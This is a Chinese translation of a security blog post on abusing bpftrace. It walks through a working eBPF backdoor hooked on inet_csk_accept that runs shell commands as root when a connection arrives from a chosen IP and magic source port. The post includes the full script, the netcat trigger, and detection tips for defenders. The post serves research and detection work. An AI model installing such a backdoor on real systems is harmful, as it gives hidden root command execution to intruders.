【BPF 攻防系列 - 2】【譯】惡意使用的 bpftrace
本篇文章是我正在進行的關於 BPF 攻防系列的一部分,用於學習 BPF 以瞭解相關的攻擊和防禦,請點擊 ebpf 標籤查看所有相關帖子。
我正在學習 BPF,以瞭解其使用將如何影響安全攻擊、惡意軟件和檢測工程。
Offensive BPF
在 BPF 中最容易想到的想法是分析網絡流量並基於特定事件採取行動。因此,我想看看流行的 BPF 工具 bpftrace
,是否 / 如何被用來創建潛在的後門,以及作爲防禦者可以從哪裏尋找到相關證據。
讓我們開始吧。
- 什麼是 bpftrace
bpftrace
是一個多功能的工具,可用來創建自定義的 BPF 程序,而不需要處理太多底層技術細節。在 bpftrace 主頁 [1] 中,將之稱爲 "Linux 系統中的高級跟蹤語言",其對應的 logo 非常可愛。
bpftrace
有點像 BPF 技術中的瑞士軍刀。
我的目標是從更高的層次學習 BPF 的基礎知識,以熟悉其用途和限制。bpftrace
工具非常符合我的這種要求。
Offensive BPF
在使用 bpftrace
編寫了幾天程序後,我開始真正掌握了相關的竅門。
1.1 安裝
性能和可觀察性團隊正在推動使用 bpftrace
工具編寫相關的工具用於生產環境中,這應該會更多。
對於在你自己的 Linux 操作系統中實驗 bpftrace
,可參考相關安裝說明 [2]。
注:我還將我的 Ubuntu 機器升級到了 21.04(內核 5.11),以方便使用最新的功能和調試能力,這這得我在學習 BPF 的過程中更加輕鬆。但樣例應該也會在稍早期的版本上工作。
1.2 基本樣例
這裏的樣例是學習 bpftrace
最基本的 “hello world”:
$ sudo bpftrace -e 'tracepoint:syscalls:sys_enter_open { printf("Hi! %s %s\n", comm, str(args->filename)) }
你能猜到其所實現的功能嗎?
首先,讓我們看看這些參數:
-
bpftrace
需要以root
的身份運行,或者具有CAP_BPF
的能力(這裏使用 `sudo')。 -
-e
:定義bpftrace
程序 -
sys_enter_open
跟蹤點用於打印comm
(進程名稱)和args->filename
。
這裏有幾個使用到的神奇的變量,如 comm
和 args
。
可以在 Brendan Gregg 的 簡易手冊 [3] 中進行學習,我經常用來查詢變量名稱和其他 bpftrace 功能。
該樣例讓我們瞭解到 BPF 程序有多強大。想象一下,hook 密碼 API 調用或網絡流量,就可以用於觀察或獲取相關數據。
1.3 使用 system() 的惡意行爲
當然,我也在尋找一種能夠在 BPF 程序中運行 shell 命令的方法,相對應的,bpftrace
有一個方便的 system()
命令可以實現該功能:
$ bpftrace --unsafe -e 'BEGIN { printf("Hello Offensive BPF!\n"); system("whoami"); }'
注意,這需要使用 --unsafe
選項。
**檢測提示:**可以通過查找任何不安全的 bpftrace 用法。
- 使用 bpftrace 建立後門
攻擊者能做什麼?讓我們再深入瞭解一下:
-
假設一個攻擊者獲得了某臺主機的特權訪問。
-
攻擊者安裝了一個基於 "bpf" 的 TCP 後門。
-
現在,只要消息來自某個 IP(或源端口),惡意的程序就會運行。
-
**客戶 / 攻擊者用於觸發命令後門的 TCP 服務並不重要(HTTP、SSH、MySQL...)**🤯
這聽起來很簡單,但我花了很多時間(斷斷續續接近 3 天)才弄清楚最基本的東西,實現了這一目的。
這裏,我將分享一下學習成果 -- 這對任何想學習 BPF 的人來說也能提供幫助。
2.1 第一個方案:基於源端口觸發
爲了簡單起見,也是因爲最初的目的是學習 BPF 技術,我的第一次嘗試是使用遠程 IP 地址和 TCP 連接的神奇源端口號的組合來觸發 BPF
程序。
假設一個數據包源端口爲 6666
,那麼 BPF 程序就會被喚醒來執行惡意程序。
我使用 sudo bpftrace -l 'kprobe:*accept*'
來查找與 accept 相關可用的 kprobes 函數 ...
再接再厲,我創建了 BPF 程序,將其 hook 在用於處理 TCP 請求連接的 kretprobe:inet_csk_accept
函數上。
事後想起來這相當簡單,但我花了很多時間(幾天)嘗試各種 kprobes 和 traceppoint,經歷了一系列的失敗,才真正找到第一個可以解決問題的方案。
2.2 實現
當建立更復雜的程序時,將其保存在文件中更加方便。bpftrace
程序通常有 .bt
文件擴展名。
爲保證 socket
數據結構是可用,在開始階段我引入了 sock.h
頭文件。
#include <net/sock.h>
接着,我在命令行上爲程序設置了有用的提示信息:
BEGIN
{
printf("Welcome to Offensive BPF... Use Ctrl-C to exit.\n");
printf("Allowed IP: %u (=> %s). Magic Port: %u\n", $1, ntop(AF_INET, $1), $2);
}
$1
和 $2
是傳入的命令行參數(允許的 ip 和神奇的端口信息,都爲整數類型)。
之後,探針的實現從監聽的 kretprobe
開始。順便說一下,總是有兩個相應的探針 / 鉤子,比如入口和返回(kret)探針。
kretprobe:inet_csk_accept
{
接下來,我們將從 kretprobe
中獲取套接字,並將其存儲在 $sk
變量中,並同時打印出正在連接的遠程 IP 信息。
$sk = (struct sock *) retval;
// only supporting IPv4
if ( $sk->__sk_common.skc_family == AF_INET )
{
printf("->%s: Checking RemoteAddr... %s (%u).\n",
func,
ntop($sk->__sk_common.skc_daddr),
$sk->__sk_common.skc_daddr);
接下來是該程序的核心邏輯。
首先,我們檢查遠程 IP 是否是被允許調用的命令。
//is IP allowed?
if ($sk->__sk_common.skc_daddr == (uint32)$1)
{
printf("->%s: IP check passed.\n", func);
爲了解 struct sock
和其他的佈局,我特意查看了對應的 Linux 的頭文件。
如果 IP 檢查成功,那麼我們檢查連接的魔法端口是否也匹配:
$src_port_tmp = (uint16) $sk->__sk_common.skc_dport;
$loc_port = $sk->__sk_common.skc_num; //for some reason need to read this other-wise source port is wrong!?
$src_port = (( $src_port_tmp >> 8) | (( $src_port_tmp << 8) & 0x00FF00));
printf("->%s: Checking port: %d...\n", func, $src_port);
if ($src_port == (uint16) $2)
{
printf("->%s: Magic port check passed.\n", func);
這裏有些處理稍微麻煩的事情,skc_dport
需要從 big endian 轉換 - 這很合理。但由於某些原因,在進行轉換之前,我們必須先讀取本地端口(或訪問 sk 結構)-- 否則遠程端口信息就會出錯。目前這對我來說並不合理的,我還在努力瞭解下面發生了什麼。我並不不確定這是否爲 bpftrace 的問題 。
總之,如果連接的遠程端口與設定的端口一致(比如這裏的 "6666"),那麼我們就執行一個 system
命令。
system("whoami >> /proc/1/root/tmp/o");
printf("->%s: Command executed.\n", func);
}
else
{
printf("->%s: Magic port check FAILED.\n", func);
}
}
}
}
注意 BPF 程序在這種情況下,可通過命名空間訪問文件系統的方式。這又是一個花了我幾個小時才弄明白的情況 。
最後,bpftrace
程序也可以有一個 end
函數,在這裏你可以清理分配的數據結構。我們這裏只是打印退出信息:
END
{
printf("Exiting. Bye.\n");
}
的確,這就完成把 BPF 程序編譯並安裝到了內核中。取得了不錯的進展 !
2.3 運行結果
爲了運行 BPF 程序,我使用 sudo bpftrace --unsafe obpf.bt 1979820224 6666
。
爲了測試,我使用 netcat(nc
)的 -p
參數選項指定源端口,如下所示:
$ nc -vv 192.168.0.118 22 -p 6666
運行結果如下:
Offensive BPF - bpftrace First
-
命令行的兩個參數是允許的 IP 的整數和作爲惡意觸發器的神奇端口;
-
一次失敗的嘗試,正確的 IP 但錯誤的端口;
-
使用正確的 IP 和神奇的端口號成功地運行了後門程序;
最後,檢查服務器上的輸出文件 /tmp/o
,我們可以看到文件確實被創建,結果是 `whoami 的輸出:
$ sudo cat /tmp/o
root
看到該程序在服務器端運行,並最終觸發了驗證階段的 BPF 程序,真是太讓人興奮了。這非常酷 !
現在有大量的功能可以在此基礎上進行添加。
2.4 挑戰
bpftrace
在功能還存一些侷限:
-
例如,我找不到一個將 IP 地址轉換爲整數的函數。這就是爲什麼允許的 IP 的整數必須在命令行中提供,而不是作爲容易閱讀的 IP 地址。原因是(另一個限制),我找不到一種方法來比較
inet
結構和string
。 -
如前所述,讀取遠程端口並將其分配給一個變量有一些奇怪的地方,並顯示出不一致的行爲。如果能有內置的函數來讀取 / 轉換端口信息,那就太好了。
在我將用於紅隊行動的最終 BPF 程序中,我又增加了一些功能,以運行更多的命令,並通過安全的通道獲取文件 -- 目前這裏並沒有公佈所有的功能。也許在未來,我會想出更多的有趣的功能呢,記着來查看後續的帖子。
- 檢測 BPF 濫用
藍隊有一套檢測思路,目前我只從 bpftrace
的角度進行了探索,所以隨着我對 eBPF 的學習和理解的加深,可能會有更多的建議。
3.1 蒐集指標
獲取有關 BPF 系統調用的數據對於深入瞭解其整體的使用情況至關重要。
3.2 檢測加載的 BPF 程序
可通過 bpftool
工具來檢查已加載的 BPF 程序。
例如,使用 bpftool prog
將展示加載 BPF 程序的詳情:
BPF prog output
3.3 bpftrace --unsafe
使用和 system()
調用
system()
調用的使用似乎很不尋常。因此,尋找包含 "bpftrace --unsafe" 的命令行參數似乎也是捕捉危險的 bpf 程序的好方法。
3.4 持久化
請注意 ! BPF 程序在系統重啓後並不會運行,所以攻擊者會試圖重啓它們(cron jobs,等等)。
**還有一種攻擊途徑可以將性能團隊使用的或在主機上定期執行的現有程序後門。**我還沒有看到任何簽名驗證方法,這可以幫助檢測此類更改。
3.5 Hook BPF 系統調用本身 !
一個狡猾的攻擊者可能會 hook bpf()
系統調用本身來改變藍隊的實現 -- 這是我想在未來的文章中探討的問題。
- 總結
希望本系列的第二篇文章,我更多地從技術角度來展示用處,並提供防禦者需要開始的一些線索。
我認爲 BPF 惡意軟件在不遠的將來會相當普遍,所以讓我們需要在測試和檢測方面領先一步。
在下一篇文章中,我想繼續基於 bpftrace
探索,建立一個更復雜的、"基於消息" 的觸發系統。源端口觸發器並不是一個真正用於紅隊的解決方案 -- 它對我來說更具有學習目的展示。
P.S.: 另外,在建立 / 測試新的 TTP 時,總是提醒要有適當的授權 - 不要做任何非法或有害的事情。
- 資源
-
BPF 系統調用 [4]
-
BPF 內核文檔 [5]
-
bpftrace 安裝指令 [6]
-
bpftrace 主頁 [7]
原文地址:offensive-bpf-bpftrace[8]
作者:wunderwuzzi
發佈時間:2021 年 10 月 5 號
參考資料
[1]
bpftrace 主頁 : https://bpftrace.org/
[2]
相關安裝說明 : https://github.com/iovisor/bpftrace/blob/master/INSTALL.md#ubuntu-packages
[3]
簡易手冊 : https://www.brendangregg.com/BPF/bpftrace-cheat-sheet.html
[4]
BPF 系統調用 : https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html
[5]
BPF 內核文檔 : https://www.kernel.org/doc/html/latest/bpf/index.html
[6]
bpftrace 安裝指令 : https://github.com/iovisor/bpftrace/blob/master/INSTALL.md#ubuntu-packages
[7]
bpftrace 主頁 : https://bpftrace.org/
[8]
offensive-bpf-bpftrace: https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace
本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源:https://mp.weixin.qq.com/s/vg0TS9gByR4W0fJIrdFapQ